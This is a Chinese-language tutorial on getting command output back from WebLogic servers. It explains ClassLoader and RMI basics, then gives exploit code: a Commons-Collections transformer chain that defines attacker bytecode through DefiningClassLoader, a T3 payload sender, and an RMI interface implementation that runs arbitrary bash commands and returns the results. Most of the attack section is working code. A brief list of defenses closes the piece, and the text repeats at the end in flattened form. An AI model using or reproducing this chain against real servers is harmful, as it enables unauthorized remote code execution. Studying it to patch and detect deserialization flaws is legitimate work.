Weblogic使用ClassLoader和RMI来回显命令执行结果
字数 1650 2025-08-26 22:11:56

WebLogic ClassLoader与RMI命令执行回显技术详解

1. Java类加载基础

1.1 Java类加载机制

Java是编译型语言,所有代码都需要编译成字节码由JVM执行。类初始化时通过java.lang.ClassLoader加载字节码,调用defineClass方法创建java.lang.Class实例。

1.2 类加载方式

显示加载

  • 通过反射或ClassLoader类加载
  • 示例:
    Class.forName("com.test.ClassLoader.HelloWorld");
    

隐式加载

  • 通过类名.方法名或new实例
  • 示例:
    HelloWorld.test();
    

1.3 ClassLoader核心方法

方法名 作用
loadClass 加载指定的Java类
findClass 查找指定的Java类
findLoadedClass 查找JVM已加载的类
defineClass 定义一个Java类
resolveClass 链接指定的Java类

2. 自定义类加载技术

2.1 自定义类加载实现

当classpath中不存在所需类时,可重写ClassLoader的findClass方法,使用defineClass传入自定义字节码:

public class MyClassLoader extends ClassLoader {
    private static String myClassName = "com.test.ClassLoader.HelloWorld";
    private static byte[] bs = new byte[]{...}; // 类字节码
    
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if (name.equals(myClassName)) {
            return defineClass(myClassName, bs, 0, bs.length);
        }
        return super.findClass(name);
    }
}

2.2 可用的ClassLoader子类

以下ClassLoader子类的defineClass方法可直接使用:

  1. jxxload_help.PathVFSJavaLoader#loadClassFromBytes
  2. org.python.core.BytecodeLoader1#loadClassFromBytes
  3. sun.org.mozilla.javascript.internal.DefiningClassLoader#defineClass
  4. java.security.SecureClassLoader#defineClass
  5. org.mozilla.classfile.DefiningClassLoader#defineClass

3. RMI技术基础

3.1 RMI简介

RMI(Remote Method Invocation)实现Java程序跨JVM的远程通信,包含三个角色:

  • RMI Registry:注册中心
  • RMI Server:服务端
  • RMI Client:客户端

3.2 RMI示例代码

服务端

public class RMIServer {
    public interface IRemoteHelloWorld extends Remote {
        public String hello() throws RemoteException;
    }
    
    public class RemoteHelloWorld extends UnicastRemoteObject 
        implements IRemoteHelloWorld {
        public String hello() throws RemoteException {
            return "helloworld";
        }
    }
    
    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }
}

客户端

public class RMIClient {
    public static void main(String[] args) throws Exception {
        RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
            Naming.lookup("rmi://127.0.0.1:1099/Hello");
        String res = hello.hello();
        System.out.println(res);
    }
}

4. WebLogic命令执行回显技术

4.1 技术原理

  1. 利用common-collection反序列化漏洞调用ClassLoader
  2. 通过字节码自定义RMI接口类
  3. 在类实现的方法中返回命令执行结果

4.2 实现步骤

  1. 选择RMI接口:寻找WebLogic中合适的RMI接口,如weblogic.cluster.singleton.ClusterMasterRemote

  2. 实现RMI接口

public class RemoteImpl implements ClusterMasterRemote {
    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            List<String> cmds = new ArrayList<>();
            cmds.add("/bin/bash");
            cmds.add("-c");
            cmds.add(cmd);
            
            ProcessBuilder pb = new ProcessBuilder(cmds);
            pb.redirectErrorStream(true);
            Process proc = pb.start();
            
            BufferedReader br = new BufferedReader(
                new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}
  1. 构造Transformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(DefiningClassLoader.class),
    new InvokerTransformer("getDeclaredConstructor", 
        new Class[]{Class[].class}, new Object[]{new Class[0]}),
    new InvokerTransformer("newInstance", 
        new Class[]{Object[].class}, new Object[]{new Object[0]}),
    new InvokerTransformer("defineClass",
        new Class[]{String.class, byte[].class}, 
        new Object[]{className, clsData}),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"main", new Class[]{String[].class}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{}}),
    new ConstantTransformer(new HashSet())};
  1. 发送T3协议Payload
Object obj = new MarshalledObject(handler);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
T3ProtocolOperation.send(host, port, payload);
  1. 调用RMI方法获取结果
Environment environment = new Environment();
environment.setProviderUrl(url);
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Y4er");
String res = remote.getServerLocation("ifconfig");
System.out.println(res);

5. 关键技术点

  1. 字节码生成:通过编译Java类并提取字节码,用于动态加载

  2. ClassLoader选择:使用org.mozilla.classfile.DefiningClassLoaderdefineClass方法

  3. RMI接口选择:寻找返回类型为String且抛出RemoteException的接口方法

  4. 序列化构造:利用common-collections的Transformer链构造反序列化payload

  5. T3协议通信:通过WebLogic的T3协议发送序列化数据

6. 防御建议

  1. 及时更新WebLogic补丁
  2. 限制不必要的RMI服务
  3. 监控ClassLoader的异常使用
  4. 实施严格的输入验证和反序列化过滤
  5. 使用安全管理器限制敏感操作

7. 参考资源

  1. Java ClassLoader机制
  2. Java RMI原理
  3. weblogic_cmd工具
  4. Java安全漫谈(RMI系列)
WebLogic ClassLoader与RMI命令执行回显技术详解 1. Java类加载基础 1.1 Java类加载机制 Java是编译型语言,所有代码都需要编译成字节码由JVM执行。类初始化时通过 java.lang.ClassLoader 加载字节码,调用 defineClass 方法创建 java.lang.Class 实例。 1.2 类加载方式 显示加载 : 通过反射或ClassLoader类加载 示例: 隐式加载 : 通过类名.方法名或new实例 示例: 1.3 ClassLoader核心方法 | 方法名 | 作用 | |--------|------| | loadClass | 加载指定的Java类 | | findClass | 查找指定的Java类 | | findLoadedClass | 查找JVM已加载的类 | | defineClass | 定义一个Java类 | | resolveClass | 链接指定的Java类 | 2. 自定义类加载技术 2.1 自定义类加载实现 当classpath中不存在所需类时,可重写ClassLoader的 findClass 方法,使用 defineClass 传入自定义字节码: 2.2 可用的ClassLoader子类 以下ClassLoader子类的 defineClass 方法可直接使用: jxxload_help.PathVFSJavaLoader#loadClassFromBytes org.python.core.BytecodeLoader1#loadClassFromBytes sun.org.mozilla.javascript.internal.DefiningClassLoader#defineClass java.security.SecureClassLoader#defineClass org.mozilla.classfile.DefiningClassLoader#defineClass 3. RMI技术基础 3.1 RMI简介 RMI(Remote Method Invocation)实现Java程序跨JVM的远程通信,包含三个角色: RMI Registry:注册中心 RMI Server:服务端 RMI Client:客户端 3.2 RMI示例代码 服务端 : 客户端 : 4. WebLogic命令执行回显技术 4.1 技术原理 利用common-collection反序列化漏洞调用ClassLoader 通过字节码自定义RMI接口类 在类实现的方法中返回命令执行结果 4.2 实现步骤 选择RMI接口 :寻找WebLogic中合适的RMI接口,如 weblogic.cluster.singleton.ClusterMasterRemote 实现RMI接口 : 构造Transformer链 : 发送T3协议Payload : 调用RMI方法获取结果 : 5. 关键技术点 字节码生成 :通过编译Java类并提取字节码,用于动态加载 ClassLoader选择 :使用 org.mozilla.classfile.DefiningClassLoader 的 defineClass 方法 RMI接口选择 :寻找返回类型为String且抛出RemoteException的接口方法 序列化构造 :利用common-collections的Transformer链构造反序列化payload T3协议通信 :通过WebLogic的T3协议发送序列化数据 6. 防御建议 及时更新WebLogic补丁 限制不必要的RMI服务 监控ClassLoader的异常使用 实施严格的输入验证和反序列化过滤 使用安全管理器限制敏感操作 7. 参考资源 Java ClassLoader机制 Java RMI原理 weblogic_ cmd工具 Java安全漫谈(RMI系列)